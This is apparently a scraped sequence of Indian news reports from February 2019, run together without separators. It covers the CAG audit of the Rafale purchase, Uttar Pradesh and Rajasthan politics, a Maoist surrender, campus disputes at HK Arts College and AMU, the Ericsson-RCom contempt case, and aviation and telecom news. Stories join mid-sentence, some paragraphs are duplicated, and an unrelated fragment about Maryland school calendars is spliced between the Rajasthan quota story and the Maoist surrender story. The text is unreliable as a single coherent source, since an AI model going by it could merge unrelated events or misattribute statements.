Complete Knocked Down (CKD): A manufacturing term under which a product is delivered in the form of parts, which have to be assembled at the destination. CKD helps brings down the cost while also creating new jobs in the destination site.

Deputy Chief of Air Staff (DCAS): According to the CAG report, in 2016, the Deputy Chief of the Air Staff had intimated the ministry that the Indian specific enhancements scope could be reduced by postponing six enhancements in the Rafale aircraft. The proposal, however, was rejected by the Ministry of Defence because that was tantamount to dilution of Air Staff Qualitative Requirements (ASQRs) submitted by the Indian Air Force.

Engineering Support Package (ESP): This is one of two options for long term maintenance support, which Dassault Aviation was asked to quote in its tender. The ESP or spares support in the 207 deal included spares for the aircraft, engines and avionics. According to CAG report, Dassault, however, quoted the price for ESP as well as Performance Based Logistics (a maintenance contract guaranteeing a certain level of performance) in the contract deal and charged an excess of 6.54 percent over the audit aligned price for both the packages.

HUMS: The Health and Usage Monitoring System (HUMS) is a network of sensors distributed throughout the airframe including critical systems and components of an aircraft, which are then linked to a central computer unit with a data recording and storage system. HUMS is a critical safety system as it can detect or give indications of progressive defects in advance. HUMS allow possible identification and rectification of defects before they have an immediate effect on operational safety of an aircraft.

India-France Joint Statement: This refers to the 2015 statement that India and France released in 2015 when Prime Minister Narendra Modi had visited France. A joint statement usually declares the intent of two principal parties to strive to achieve a set of goals with regards to a topic of mutual concern. When signed between two sovereign nations  India and France in this case  it details their commitment to a cause  for example, France agreeing to allow Dassault Aviation to sell Rafale jets to India  on mutually agreed terms.

It, however, is not a legally binding instrument, which means that neither India or France could take each other to an international court or the UN for violating the goals mentioned in the India-France statement. When it comes to joint statements between two sovereign nations, its success or failure depends entirely on the nature of relations shared by two governments and is subject to change with a change in government in either party. A joint statement is usually the first step in establishing ties or cooperation on a subject between the two countries.

Inter-Governmental Agreement (IGA): Depending on the language used in an inter-governmental agreement, it could be a legally binding instrument or just a statement signed to solve problems of mutual concern. It's often subject to certain terms and conditions and can be made "between or among a broad range of governmental or quasi-governmental entities".

Governments use IGAs for cooperative planning, development review, resource sharing and more. In the Rafale deal, it's referred to the 2016 agreement signed between France and India confirming the purchase of the Rafale jet and the terms and agreements that will be applicable on both parties and the supplier Dassault Aviation.

Indian Negotiation Team (INT): A team headed by Air Marshal RKS Bhadauria had negotiated the purchase of the 36 Rafale aircraft from December 2015 till September 2016 when the contract was signed with France for acquiring 36 Rafale fighter jets. Bhadauria had over the Chairmanship from Air Marshal SBP Sinha, who headed the negotiations team before he got promoted and was posted as the Central Air Commander in Allahabad.

The goal of the Indian negotiation team was to get the best deal for India  right from the specifications of the Rafale aircraft to pricing and their delivery. According to reports, three members in the Indian negotiation team for the Rafale deal had submitted an eight-page dissent note on the deal while accusing Prime Minister Narendra Modi in the Rafale deal. However, Bhadauria told ANI on Wednesday that the note was mere observations made by the "three members part of the deliberations of the INT and could not be viewed as a 'dissent note'".

India-specific enhancements (ISE): These are customised changes in the Rafale aircraft which Dassault Aviation was providing as part of the deal. According to the CAG report, the Indian Air Force had pointed out that four such enhancements were not needed during the technical trial of the aircraft in 2010. However, they got included in the deal despite IAF making several attempts to reduce them. The Modi govt had argued in favour of the 2016 deal stating that the India-specific enhancements would be ready within 71 months of signing the deal unlike the 72 months agreed in the 2007 deal.

Mermoz Test Benches: These are tool testing and ground equipment which were included along with the price of the aircraft in the 2016 deal. In the 2007 deal, these were part of the arrangement with of the Transfer of Technology arrangement and were to be set up at HAL air base.

OEM: An abbreviation of the original equipment manufacturer. In the Rafale deal, Dassault Aviation was the OEM.

Performance Based Logistics (PBL): A maintenance contract guaranteeing a certain level of performance in the aircraft. in the 2007 deal, Dassault had quoted a certain price for five years covering a certain number of flying hours of the jet. This amount was changed in the 2016 deal and included a changed number of flying hours during the warranty as well as outside the warranty. The CAG claims Dassault charged an excess of 6.54 percent in the 2016 deal.

Simulator and Simulator Training Aids Annual Maintenance (STAAM): Dassault was expected to provide the Simulator and STAAM on a build, operate and maintain basis with a usage charge/operating cost (terms and conditions and prices to decided later) to be paid to Dassault on a regular basis. However, in the 2016 agreement, it was offered for outright purchase.

Transfer of Technology: Under the 2007 deal, Dassault Aviation was expected to transfer technology to build Rafale jets to HAL and the high cost for technology transfer was absorbed into the cost of the aircraft. However, in the 2016 agreement, there was no transfer of technology.

Weapon Supply Protocol: This defines and the terms and conditions which have to be fulfilled by the supplier following the purchase of a weapons system. The protocol is based on the qualitative requirements of the force purchasing the weapon system.The CAG report highlights that according to the original schedule offered by Dassault Aviation 18 aircraft were to be delivered between 37 to 50 months of signing of the contract. The next 18 were to be licensed produced in Hindustan Aeronautics Limited (HAL) and delivered between 49 to 72 months

The performance audit report of Comptroller and Auditor General (CAG) of India pertaining to the purchase of 36 Rafale aircraft by the Indian government from its French counterpart states that delivery schedule of the 2016 deal was better than the 2007 one by a month.

The CAG report highlights that according to the original schedule offered by Dassault Aviation 18 aircraft were to be delivered between 37 to 50 months of signing of the contract. The next 18 were to be licensed produced in Hindustan Aeronautics Limited (HAL) and delivered between 49 to 72 months.

"During negotiations the Indian Negotiating Team (INT) conveyed to the French side that it expected the delivery of first batch of 18 Rafale aircraft in 24 months after signing of the inter-governmental agreement (IGA); and next batch of 18 aircraft in 36 months after signing of the IGA. However, the delivery schedule finally offered by the French side was 18 aircraft by 36 to 53 months...and the remaining 18 aircraft to be delivered by 67 months of signing of IGA."

However, the report further states that in the current IGA the delivery of the aircraft would be faster by a month as compared to what the timelines could have been if the old contract was signed. In the 2007 offer, India Specific Enhancements (ISE) were to be integrated on the delivered aircraft and would have been ready in 72 months while in the 2016 contract, it would be ready in 71 months.

According to a report on The Hindu, there are 13 ISE capabilities sought by the Indian Air Force (IAF) which will be incorporated in batches after April 2022. After the 36th jet is delivered, the first 35 aircraft would be modified in India by Dassault Aviation at the rate of seven aircraft a month so that all 36 aircraft would be of the same capability by September 2022, the official source was quoted saying.

The audit, however, also noted how the negotiation team had "apprehensions" about the achievement of the revised schedule since at the time of signing the contract Dassault had "an order backlog of 83 aircraft". It added that the "ministry in its response stated that the project was currently on schedule and the progress was being closely monitored by the resident Project Management Team and also through the Inter-Governmental Bilateral High Level Group."The performance audit report of the Comptroller and Auditor General of India on capital acquisition in Indian Air Force was tabled in the Rajya Sabha on Wednesday.

The performance audit report of the Comptroller and Auditor General of India on capital acquisition in Indian Air Force was tabled in the Rajya Sabha on Wednesday.

The report is divided into two volumes: one on the systematic issues prevalent in the acquisition process, with the examples of 10 acquisition contracts; and the other on the Rafale aircraft deal, comprising the controversial pricing angle specifically on the acquisition of the medium multi-role combat aircraft (MMRCA). The CAG report did not disclose the actual prices on the insistence of the Ministry of Defence because of the Indo-French Agreement of 2008 and the provisions of Inter-Government Agreement (IGA).

According to the 157-page report, the country managed to save 17.08 percent of the money in the India-specific enhancements in the deal for 36 Rafale fighter planes as compared to the proposed procurement of 126 combat aircraft during the UPA government while the weapons package offered in the new deal was 1.05 percent cheaper.

Overall, it may be seen that as against the aligned price as estimated by audit of 'CV' million Euro the contract was concluded for 'U' million Euro, ie, 2.86 percent lower than the audit aligned price, the CAG said. CV and U represent the redacted aligned price and contract price, respectively, for the Rafale package signed between France and India in 2016.

The report compared the aspects involved in the proposed acquisition of 126 MMRCA through tendering process by the previous UPA government with the details of the NDA governments decision to procure 36 Rafale aircraft from French company Dassault Aviation through the IGA in 2016.

The CAG said a defence ministry team in March 2015 recommended the scrapping of the 126 Rafale deal, saying that Dassault Aviation (manufacturer of Rafale plane) was not the lowest bidder and EADS (European Aeronautic Defence and Space Company) was not fully compliant with the tender requirements.

Referring to the issue of 126 planes, the government auditor said the IAF did not define the ASQRs (Air staff qualitative requirements) properly and as a result, none of the vendors could fully meet the ASQRs. These ASQRs were changed repeatedly during the procurement process, the CAG said.

The CAG also said the deal was 6.54 percent expensive in terms of engineering support package and performance-based logistics for the Indian Air Force, while the training costs have got 2.68 percent expensive than the 2007 offer. In the 2007 offer of 126 fighter jets, Dassault Aviation was to provide basic training to 26 pilots and 76 technicians at a certain cost. In 2015 deal for 36 Rafale fighter jets, the IAF increased the scope of training to 27 pilots, 146 technicians and two engineers.

It said the defence ministry stated that although the scope of training had increased, the Indian Negotiating Team (INT) did not reckon this enhancement.

It said the ministry, in its response in January 2019, has accepted that the aligned price worked out by the INT and audit in case of basic aircraft were the same but argued that the negotiated price of 36 aircraft was 9 percent lesser than the price offered for the aircraft in 2007.

The ministry has stated that had the bid been finalised and the contract signed in the MMRCA case in 2011, this would have been the fixed price of the aircraft.

In its report, the CAG also highlighted the drawbacks of settling for a 'Letter of Comfort' instead of a sovereign guarantee by the French government in the 2016 deal. It noted that the deal which was being negotiated in 2007 included a 15 percent bank guarantee against advance payments.

Here's the full CAG report:

With inputs from agenciesA 15-member joint delegation of SP and BSP leaders met Uttar Pradesh Governor Ram Naik, and submitted a memorandum over the detention of Akhilesh Yadav at Lucknow airport by authorities.

Lucknow: A 15-member joint delegation of Samajwadi Party (SP) and Bahujan Samajwadi Party (BSP) leaders on Wednesday met Uttar Pradesh Governor Ram Naik in Lucknow, and submitted a memorandum over the detention of former chief minister Akhilesh Yadav at Lucknow airport by authorities.

In the memorandum to the governor, the SP and BSP, who in January announced their coalition for the upcoming Lok Sabha election, alleged that the SP chief was stopped "undemocratically" by the police on an order of the "dictator" Chief Minister Yogi Adityanath's government.

The development comes hours after UP Police filed cases against 296 people, including two SP MPs  Dharmendra Yadav and Nagendra Singh Patel  in connection with the protest by SP workers on Tuesday.

"We have met the Governor to discuss the grave situation in UP. We have asked him to take action against the dictator Yogi Adityanath for their undemocratic action of detaining Akhilesh Yadav at the airport," said an SP leader.

SP workers had on Tuesday raised slogans against Uttar Pradesh chief minister Yogi Adityanath and the state government after their leader was stopped at the Lucknow airport. Akhilesh was on his way to Allahabad University to attend a swearing-in ceremony of a student leader.

"Our workers were protesting silently against the government order, the police started lathi charge, We have asked the Governor to order an investigation in this matter," he said.

On Tuesday, Akhilesh had claimed that the authorities failed to cite reasons for stopping him from boarding the flight. "The sole purpose of preventing me from attending the student union's programme is to suppress socialist ideas and voices among the youth," he had said.

However, the university had said in a letter that politicians were not allowed to attend the event.

Adityanath had also claimed that the Samajwadi Party president's visit to Allahabad could have sparked a row in Prayagraj, where Kumbh Mela is going on.The government introduced the Rajasthan Backward Classes (Reservation of Seats in Educational Institutes in the State and of Appointments and Posts in Services under the State) Amendment Bill, 2019, for giving reservation to Gujjars and the other castes.

Jaipur: The Rajasthan government on Wednesday introduced a bill in the Assembly to give a five percent quota in jobs and educational institutes to Gujjars and four other communities agitating for it.

The government introduced the Rajasthan Backward Classes (Reservation of Seats in Educational Institutes in the State and of Appointments and Posts in Services under the State) Amendment Bill, 2019, for giving reservation to Gujjars and the other castes.

The bill was presented in the Rajasthan Assembly by Energy Minister BD Kalla to pacify members of the Gujjar community who have been holding demonstrations since 8 February across the state for quota. They blocked the Delhi-Mumbai railway track and several highways and roads.

The bill seeks to increase the backward classes' reservation from the present 21 percent to 26 percent with five percent reservation to Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria

The statement on the objective and reasons of the bill stated that the five castes are most backward and require five percent separate reservation. It also mentions that the central government recently passed the constitution amendment bill and the limit of 50 percent reservation was increased.

Gujjar leaders said they want a concrete proposal on the matter.

Gujjar leader Kirori Singh Bainsla and his supporters blocked the railway track in Sawai Madhopur district on 8 Febuary.Hogan and other supporters of the late start date argue the longer summer break gives families more time together and is a boon for the states tourism industry, especially in Ocean City. Those on the other side of the debate say it creates problems for families who rely on and struggle to pay for additional child care during the summer. Its also left districts struggling to squeeze in religious holidays, spring break and the appropriate number of professional development days for teachers.Chhattisgarh police have called it a major breakthrough in anti-Naxal operations in the state and a big success.

Chhattisgarh police have called it a major breakthrough in anti-Naxal operations in the state and a big success, after a Maoist couple operating in the Maharashtra-Madhya Pradesh-Chhattisgarh (MMC) zone surrendered in Rajnandgaon district on Wednesday.

According to police, the Maoist couple  Nandu Devaji Behade and his wife Komal Irpa Kumenti  had been operating from Nagpur and both carried a bounty of Rs 13 lakh. Behade has been claimed to be a close associate of MMC zone in-charge of CPI (Maoist), Milind Teltumbde alias Deepak. The couple had been in-charge of urban network of the Maoist organisation.

Following the states Naxal surrender and rehabilitation policy, the Maoist couple today surrendered to Rajnandgaon police. Its a big success for us in getting Maoists back to the mainstream. The couple will get all the benefits available under the rehabilitation policy, said Chhattisgarh police inspector general (Durg range), Ratan Lal Dangi.

As part of the policy, the state government has given Rs 10,000 each to Behade and his wife.

This one is the second surrender of a Maoist couple within a week of the surrendering of another couple Sudhakaran and his wife Madhavi alias Neelima Reddy to Telangana police. Sudhakaran and Madhavi  both who had operated in Bastar for a long time and then in Jharkhand, carried a bounty of Rs 1 crore.

The MMC zone of the Maoists on Red Corridor comprises Gadchiroli in Maharashtra; Balaghat, Mandla and Dindori in Madhya Pradesh, and Bastar and Rajnandgaon in Chhattisgarh.

Whos Nandu Devaji Behade?

Prior to his surrender, Nandu Devaji Behade aka Nandu aka Vivek aka Banti, had been operating as area committee secretary of CPI (Maoist) coordination committee in Nagpur since 2017. While studying in Nagpur, he joined the students wing of the banned ultra-Left party as an active member of the urban network in 2004 and continued till 2009.

According to intelligence sources of the anti-Naxal ops, he joined the armed cadre of the Maoist committee of Korchi-Kurkheda-Khombrameda at Gadchiroli district in Maharashtra and started operating out of Nadekal forest. After coming in contact of Milind Teltumbde in 2013, he remained the latters security in-charge till 2016. He was promoted as area committee secretary and was sent to Nagpur as in-charge of urban network.

The police claimed that Nandu used Insas rifle as his weapon during operations and there are nine cases against him in Chhattisgarh and Maharashtra, as he had been a part of ambushes.

Whos Komal Irpa Kumenti?

Nandus wife Komal Irpa Kumenti aka Sati aka Kamla joined CPI (Maoist) in 2009. From 2009 to 2017, she worked in various local committees and divisional committee, including in the armed cadre. In 2018, she was made member of coordination committee in Nagpur and had been working for the Maoist urban network.

Police claimed that the couple surrendered after their disillusionment with the Naxal ideology, exploitation within the organisation and the hierarchy pattern in the cadre.

After their surrender, the couple told us that the Maoist leadership has been dominated by the leaders from Andhra and Telangana, and those from other regions cant get to top positions, a police official told Firstpost.Hemantkumar Shah, principal of HK Arts College who resigned over a Jignesh Mevani controversy, speaks about the state of education institutes and academic freedom in Gujarat.

HK Arts College in Ahmedabad, Gujarat, has been at the centre of an ideological dispute, with principal Hemantkumar Shah and vice-principal Mohan Parmar resigning on Monday.

The controversy was over Jignesh Mevani, an Independent MLA from Gujarat and also a former student of the college, being invited to speak at an event, a move right-wing groups opposed. Giving in to their threats, the Brahmachari Wadi Trust, which governs the college, withdrew the invitation to Mevani, after which Shah and Parmar both resigned in protest against the decision.

Shah explains how the controversy developed and how the 'Gujarat model' is ominously unfolding across the country.

How did events unfold?

About 15 to 20 days ago, Jignesh Mevani was invited to be the chief guest at the annual day function of HK Arts College. We invited him because he was a student of the college. His life was a life of struggle, and how he became a political leader of this stature is an achievement. He was invited to share his story and inspire students. Mevani told me he would like to speak about BR Ambedkar, Bhagat Singh and the issues of unemployment among the youth of India.

On Saturday, some people from the BJP, student leaders associated with the University of Gujarat, came to the college and threatened the vice-principal and a few professors that they would disrupt the event if Mevani comes. They then went to the secretary of the trust and threatened him similarly.

I was not at the college at the time. I was attending a wedding. When I got to know about the incident after some time, I came back immediately. Along with a professor, I went to the police station and wrote an application, explaining the threat and asking for protection.

What did the police say?

They accepted the application, and then I came back to the college. I went to the office of the trust secretary with another professor. We told him about our application to the police and said we should go ahead with the function.

But after I reached home, a student leader called me and said if we go ahead with the function, they would not allow Mevani to speak by creating a ruckus. The trust secretary continued to get such phone calls, seeking to know whether we had cancelled the event.

Who decided to withdraw Mevani's invitation?

The vice-president of the trust, Kumarpan Desai, said we should cancel the event in the interest of the college. On Saturday evening, the secretary, vice-principal and I met at the home of the trust president BV Doshi, who is also a world-renowned architect. He is a recipient of the Pritzker Prize in Architecture  known as the Nobel Prize of architecture  and is also an awardee of the Padmashree, as is the vice-president. Desai is also a very well-known writer in Gujarat.

At that meeting, they asked me to cancel Mevani's event. I asked for the order in writing, which they sent to me on Sunday. At 4 pm, there was a meeting of professors. Of the 31 to 32 professors at the college, 18 turned up. None of them except two, including the vice-principal, spoke out against the decision. Ultimately, we were outvoted. The next day, the vice-principal and I submitted our resignations to the trust.

Has this happened before, anger over a chief guest?

Never. We organise this event every year. But such threats were issued for the first time.

Do you see a pattern here? Rohith Vemula committed suicide. JNU has been under pressure. Are educational institutes under threat?

Much before these national events, academic freedom in Gujarat was nearly killed systematically during Narendra Modi's regime.

Can you elaborate a bit?

Colleges and universities have invited me several times to speak on the economy, or panchayat raj, or on developmental issues. Sometimes, the organisers have told me not to speak against the government. They would give me these personal instructions. This may be new for India, but not for Gujarat.

The Government of Gujarat had once issued a statement on the subjects on which PhD students should do their research. The government had listed more than 100 subjects.

In a sense the 'Gujarat Model' is unfolding nationwide.

Yes. I feel that if professors and teachers at academic institutes are not free to express their views, it is a negation of democratic principles.

What you and the vice-principal did is exceptional. Most educational institutes don't resist government interference.

I felt I should resign if I have no power or authority. What is authority? It is the power to use power. If I do not have that, I become a spineless person in the chair, which I didn't want to be.

Why do you think the others in the chair aren't resisting like you?

That is either because of fear, or because they want something from the government. Sometime back, Ahmedabad University had rescinded its invitation to writer-historian Ramachandra Guha after facing similar pressures. The whole university did not do anything then.

The ones who buckled under pressure at your university are men of repute and stature. Do you think most of those with a social standing in India are not standing up to misuse of power enough?

That is their lookout. I respect freedom of an individual. I believe that freedom of thought is a fundamental human right. I don't want to be a nut and bolt of the state. I want to be a free person. And that is why I resigned.An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

Aligarh (Uttar Pradesh): Fourteen Aligarh Muslim University (AMU) students, including their union chief, were booked under sedition charges after protests on the campus following reports of a planned visit by AIMIM lawmaker Asaduddin Owaisi, officials said Wednesday.

"On Tuesday, some AMU students allegedly had an altercation with a TV channel crew which had come to film the visit that ultimately did not take place," they said.

The Bharatiya Janata Yuva Morcha (BYJM) members held a separate demonstration against the visit, demanding that the MP should be banned from the campus.

"The students were booked under sedition charges after a complaint was filed by BJYM activist Mukesh Lodhi, alleging that he was assaulted amid chants of pro-Pakistan slogans by some students," police said.

Protesting the police action, a "class boycott" call has been given by the students' union.

"Security has also been beefed in the area and Rapid Action Force has been deployed around the campus amid other protests, including one in which a motorcycle belonging to an BJYM member was set on fire," a senior police officer said.

The main road leading to the university campus at IG Khan Crossing was closed by police as a precautionary measure. Official sources said internet services will also be off in city.

ABVP activists staged a protest near the Faiz Gate of the university after some media reports claimed that Owaisi was invited to address a function organised by the AMU Students' Union. They demanded that he should not be allowed to enter the campus. Owaisi, however, did not turn up.

An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when the university staff pointed this out, there was a heated exchange in which some students were also involved.

The media persons claimed they were roughed up by some students while they were filming on the campus and their camera was smashed.

Complaints were lodged at the Civil Lines Police Station by both the AMU authorities and the TV channel crew.

A complaint was also filed by BJYM members which alleged that they were beaten up near the Faiz Gate and a motorcycle, belonging to one of them, was set on fire.

It was not immediately clear if this incident was also related to Owaisi's visit.

Senior Superintendent of Police Akash Kulhari told PTI that a number of complaints were given by different groups at the Civil Lines police station and the police were in the process of filing the reports.

Meanwhile, a large group of students gathered at Bab-e-Syed Gate, demanding the suspension of Ajay Singh, a prominent ABVP leader who is a postgraduate student in the Faculty of Law. He is the grandson of BJP MLA Dalvir Singh.

Late Tuesday night, cases under sections 124-A (sedition), section 307 (attempt to murder) and eight other sections of the IPC were registered against 14 students, including the president of students' union Salman Imtiaz and vice president Huzaifa Aamir on the complaint of BJYM's Mukesh Lodhi.

He alleged that when he was driving across the AMU Circle, these students surrounded him and launched a "murderous assault" and raised pro-Pakistan slogans.

Meanwhile, police confirmed that two more complaints were received at Civil Lines police station on behalf of AMU students and AMU officials.

An official said these reports were being examined and FIR will be filed "after due investigation". AMU has issued an advisory to students, asking them "not to move out of campus as a precautionary measure".The Supreme Court on Wednesday reserved its verdict on a contempt plea filed by Ericsson against Reliance Communication (RCom) chairman Anil Ambani.

New Delhi: The Supreme Court on Wednesday reserved its verdict on a contempt plea filed by Ericsson against Reliance Communication (RCom) chairman Anil Ambani and others for not clearing its dues of Rs 550 crore.

A bench of Justices RF Nariman and Vineet Sharan said it was reserving the verdict after hearing all the parties  Anil Ambani, RCom, Ericsson and others.

Anil Ambani was present in the courtroom during the course of hearing. Earlier, the top court had asked Ambani to remain present before it in connection with the contempt case.

Senior advocates Kapil Sibal and Mukul Rohatgi appearing for Ambani countered the no contempt of court was made by Ambani. Rohatgi contended that there was no violation and no wilful defiance of the apex court's order.

He further added that allegations of RCom having received Rs 5000 crore from Jio was incorrect.

The counsel told the court that RCom is a public listed company with lakhs of shareholders and neither an individual director nor the entire group can be made liable for liability of the company.

Senior advocate Dushyant Dave, appearing for Ericsson, argued that Anil Ambani has personal assets worth thousands of crores and must pay the balance of Rs 550 crores dues as per court undertaking.

They (Anil Ambani and two others) live like emperors...No one has the intention to honour the order of the SC...They think they are god's gift to mankind. They have money to be invested in Rafale. But he doesnt want to honour the SC order, Dave said.

Anil Ambani-led RCom had earlier agreed to deposit Rs 118 crore but the Swedish telecom equipment maker Ericsson refused to accept. The top court had asked the RCom chief to deposit the amount in its registry.

Ericsson had also requested the home ministry to issue directions to prevent Ambani, Reliance Telecom Ltd Chairman Satish Seth and Reliance Infratel Ltd Chairperson Chhaya Virani from leaving the country.

On 23 October last year, the top court had asked RCom to clear the dues by 15 December, 2018, stating that delayed payment would attract interest of 12 percent per annum.

In 2014, Ericsson India had signed a seven-year deal to operate and manage RCom's nationwide telecom network. Ericsson India had alleged that RCom had not been paid dues of over 1,500 crore. It challenged the debt-ridden firm before the National Company Law Appellate Tribunal (NCLAT).

Perusing the NCLAT May last year order, the apex court had noted that Ericsson India was willing to settle its debt of over Rs 1,500 crore for a sum of Rs 550 crore, and it has to be paid by RCom within 120 days.The Centre is gearing up to give two instalments amounting to Rs 4,000 directly to eligible farmers under the newly announced PM-KISAN scheme before the Lok Sabha elections, a senior agriculture ministry official said

New Delhi: The Centre is gearing up to give two instalments amounting to Rs 4,000 directly to eligible farmers under the newly announced PM-KISAN scheme before the Lok Sabha elections, a senior agriculture ministry official said on Wednesday.

In the interim-budget, Finance Minister Piyush Goyal announced the direct income support scheme called Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) under which Rs 6,000 per year will be given in three installments directly into the bank account of 12 crore eligible small and marginal farmers owning land up to 2 hectare.

Goyal had also said that the scheme will be launched from this fiscal onwards and the first installment of Rs 2,000 will be given by March.

"The states are in the process of identifying the eligible farmers. The initial list of beneficiaries should be ready soon," the official said.

Many states such as Karnataka, Andhra Pradesh, Gujarat and Maharashtra have digitalised land records. Telangana, Odisha and Jharkhand too have got the data as these states too have announced similar schemes, the official said.

Asked if two installments will be given before the Lok Sabha elections, the official said, "we are getting ready for that. We are hopeful of transferring two installments amounting Rs 4,000 before the Lok Sabha elections."

Since the scheme is being rolled out this fiscal, its implementation will not be affected when the model code of conduct kicks in anytime next month, the official added.

The Lok Sabha elections are due in April-May.

As per the guidelines of PM-KISAN, all institutional landholders, those holding constitutional posts, all serving or retired officers, employees of central and state government as well as Public sector Undertakings (PSUs), retired pensioners whose monthly pension is more than Rs 10,000, income taxpayers and professionals like doctors and engineers are excluded from the scheme.

The government has set 1 February, 2019 as the cut off date for determining the eligibility of beneficiaries under the scheme and no changes thereafter will be considered to avail the benefit under the scheme for next five years.

The ownership of land which has been transferred between 1 December, 2018 and 31 January, 2019 will be eligible for benefits under the scheme. However, the first installment will be given proportionate from the date of transfer.Chennai-based Creative Port Private Ltd had signed an MoU with the Odisha government on 18 December, 2006 to develop the project

Bhubaneswar: Odisha Chief Minister Naveen Patnaik will lay the foundation stone of the much-awaited Subarnerekha port in Balasore district on Wednesday, Chief Secretary A P Padhi said.

The Subarnarekha port project is being developed by Chennai-based Creative Port Private Ltd (CPPL) which will own 49 percent stake and Tata Steel with 51 percent stake.

"We have already handed over 692 acre of land to the port developer and remaining 150 acre of land under the ownership of some private persons and the government, will be given soon," Padhi said adding that the developers will start construction work as soon as they get 27 acre required for the approach road to the proposed port site.

Tata Steel Managing Director T V Narendran said: "We will soon start construction work for the project and the chief minister will lay foundation stone tomorrow [Wednesday]." The proposed port is expected to be built in 4-5 years.

Narendran said the Subarnarekha project will be beneficial for the steel plants in Jharkhand, West Bengal and northen parts of Odisha.

"The proposed port at Subarnarekha will be helpful for our Jamshedpur steel plant," Narendran said adding that all the ports located in the state are useful for Tata Steel.

"While Dhamra Port is suitable for our Kalinga Nagar plant, Paradip Port will be good for our Angul plant," Narendran said adding that the company would invest around Rs 3,000 crore in the project.

The construction of Subarnarekha port project is expected to be smooth as it has already got clearance from the Defence Ministry. The Chennai-based CPPL had proposed construction of an all-weather deep-draft commercial port at Subarnarekha river.

The CPPL had signed an MoU with the Odisha government on 18 December, 2006 to develop the project. Later, the revenue sharing agreement was inked between the two sides on 11 January, 2008.

According to the revenue-sharing agreement signed originally, the port would have an initial capacity of 10 million tonnes per annum (MTPA), which is to be raised to 40 MTPA over 10 years.

Odisha already has three operational ports at Paradip, Dhamra and Gopalpur.IndiGo has cancelled 30 flights on Tuesday due to the on-going pilot shortages. Most flights have been cancelled from Kolkata, Hyderabad and Chennai.

Mumbai: Shortage of pilots continued to hamper operations of IndiGo with the budget carrier on Tuesday cancelling 30 flights from across major airports and passengers allegedly being forced to buy last minute tickets at high fares, a source said.

The airline said flight cancellations will continue for some more days, affecting around 30 flights per day.

On Monday also, the airline had pulled out 32 flights from its network at short notice inconveniencing tens of hundreds of passengers.

Acknowledging the disruption in its services, the airline said, it will "slightly adjust" its schedules in the coming days, impacting about 30 flights per day.

Meanwhile, a senior official said aviation regulator DGCA is looking into the "issue."

"IndiGo is slightly adjusting its flight schedule in the coming days by around 30 flights per day to stabilise the network and operations impacted due to various ongoing Notams and likely bad weather in the coming days," the airline said in a statement after the PTI story went on wire.

Notam, or notice to airmen, is given to pilots and include information on potential hazards on a flight route.

IndiGo has cancelled 30 flights on Tuesday due to the on-going pilot shortages. Most flights have been cancelled from Kolkata, Hyderabad and Chennai, a source told PTI earlier in the day.

While eight flights were not operated from Kolkata, another five flights were cancelled from Hyderabad and four each from Bangalore and Chennai among others,the source added.

The source also alleged that IndiGo was forcing passengers to either buy last minute tickets on its flights or offering them alternate flights with one-stop connectivity with a long layover time.

"To avoid inconvenience, these adjustments are being made in advance, enabling adequate notice to passengers. They are being accommodated close to their original flight schedule. These adjustments amount to 1-2 percent of the originally planned flights," IndiGo said in the statement.

An airline official said the disruption in the flight operations emanated from the heavy rains and hailstorm that hit the Delhi-NCR region last week and subsequent FDTL issue.

Both the pilots and cabin crew are governed by DGCA mandated flight duty and time limitation (FDTL) norms and they can't fly beyond the FDTL.

The airline had Sunday blamed bad weather for disruptions in operations across its network.Central trade unions on Wednesday said they will extend support to the proposed three-day strike by employees and officers of Bharat Sanchar Nigam Ltd on 18-20 February

New Delhi: Central trade unions on Wednesday said they will extend support to the proposed three-day strike by employees and officers of Bharat Sanchar Nigam Ltd on 18-20 February.

BSNL employees have announced a three-day nationwide strike demanding allotment of 4G spectrum to the telecom PSU and wage revision for the workforce.

"United Platform of Central Trade Unions, which met on 12th February 2019 at New Delhi resolved to extend full support to the ongoing struggle of the BSNL employees and officers," the statement by ten central trade unions said.

The ten central trade unions that extended their support to the proposed strike included INTUC, AITUC, HMS, and CITU amongst others.The government on Wednesday called back the retired technocrat Ashwani Lohani to head the cash-strapped national carrier Air India as chairman and managing director for a second time within two years

Mumbai: The government on Wednesday called back the retired technocrat Ashwani Lohani to head the cash-strapped national carrier Air India as chairman and managing director for a second time within two years.

Lohani, who will assume office on Thursday, headed the carrier from August 2017 to September 2017 when he was moved to the Railway Board as the chairman, from where he retired in December 2018. He is a 1980-batch IRSME (Indian Railway Service Mechanical Engineering) officer hailing from Madhya Pradesh.

"I will take charge tomorrow," Lohani told PTI over the phone from New Delhi.

It was during his tenure that Air India made its first operating profit of Rs 105 crore in FY17 since the merger of Indian Airlines and Air India in 2007.

Earlier in the day, the Cabinet committee on appointments cleared his re-induction on a contract basis for one-year tenure.

"The appointments committee of the Cabinet has approved the appointment of Ashwani Lohani to the post of chairman and managing director of Air India on contract basisfor one year or until further orders," the department of personnel and training said.

Lohani succeeds the 1985-batch Karnataka cadre IAS Pradeep Singh Kharola, who earlier this month was appointed as the civil aviation secretary following the superannuation of RN Choubey.

Lohani was appointed as the Railway Board chairman in August 2017 and retired in December 2018. He also headed ITDC and the Rail Museum in New Delhi, previously.

As the attempt to sell Air India, which has a debt pile of around Rs 51,000 crore, came a cropper last May, the Modi government is now working on many initiatives, including hiving off a significant chunk of its over Rs 55,000-crore debt into an special purpose vehicle and selling 98 percent stake in the ground-handling arm AIATSL to turn around the ailing airline.

The carrier's net loss narrowed to Rs 5,337 crore in FY18 from Rs 6,281 crore a year ago, as per the latest Public Enterprises Survey 2017-18.

One of Lohani's first decisions as the Railway Board chairman was to ban gifts and ceremonial welcomes and farewells. He is also the man behind Train 18, the country's fastest train that will have its inaugural run from New Delhi to Varanasi on 15 February.

As the Railways' senior-most bureaucrat, he was also part of the team that worked on the Mumbai-Ahmedabad bullet train project.

